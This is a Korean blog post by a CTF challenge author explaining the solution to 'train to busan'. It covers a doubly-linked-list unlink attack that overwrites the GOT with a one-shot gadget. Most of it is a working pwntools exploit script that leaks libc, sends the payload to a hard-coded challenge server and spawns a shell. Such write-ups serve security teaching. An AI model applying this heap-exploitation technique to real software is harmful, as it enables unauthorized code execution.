cdor1's lab
H3X0R CTF train to busan 본문
내가 만든 문젠데 너무 어리바리 대답해서 질문오는분들께 죄송했다....
구조체로 구현한 double-linked-list에서 unlink연산을 이용해 arbitrary memory overwrite을 해 쉘을 얻어내는 문제인데
bss영역에 마침 malloc pointer들이 나열되어 있으므로 이곳에 unlink 연산을 이용해 got를 써넣고
modify 메뉴로 got를 oneshot 가젯으로 덮어서 익스플로잇 하면 되는 문제이다.
(문제 풀어주신분들 감사합니다 ㅎㅎ)
from pwn import *
s = remote('52.199.49.117' ,10006)
elf = ELF('/home/cdor1/pwnable/train_busan')
def add(data):
print s.recvuntil('5. EXIT')
s.sendline('1')
print s.recvuntil('INPUT Train class : ')
s.sendline(data)
def unlink():
print s.recvuntil('5. EXIT')
s.sendline('2')
def modify(num, data):
print s.recvuntil('5. EXIT')
s.sendline('3')
print s.recvuntil('WHICH Train do you want to modify? : ')
s.sendline(str(num))
print s.recvuntil('class : ')
s.sendline(data)
def exit():
print s.recvunti('5. EXIT')
s.sendline('5')
print s.recvuntil('5. EXIT')
s.sendline('1')
print s.recvuntil('system : 0x')
system = int(s.recvuntil('\n')[:-1],16)
libc_base = system - 0x45390
one_shot = libc_base + 0x45216
log.info('system : ' + hex(system))
log.info('base : ' + hex(libc_base))
log.info('one_shot : ' + hex(one_shot))
add('aaaa')
add('bbbb')
add('cccc')
payload = 'A'*8
payload += p64(0x21)
payload += p64(0x602048)
payload += p64(0x602098)
modify(1, payload)
unlink()
modify(3, p64(one_shot))
s.interactive()
'Security > Pwnable' 카테고리의 다른 글
SECCON CTF 2016 checker (0) | 2017.01.11 |
---|---|
Plaid CTF 2015 prodmanager (0) | 2017.01.11 |
HITCON Qual 2016 House of orange (0) | 2017.01.10 |
RCTF 2015 shaxian (0) | 2017.01.10 |
Christmas CTF Who is solo (0) | 2017.01.09 |
Comments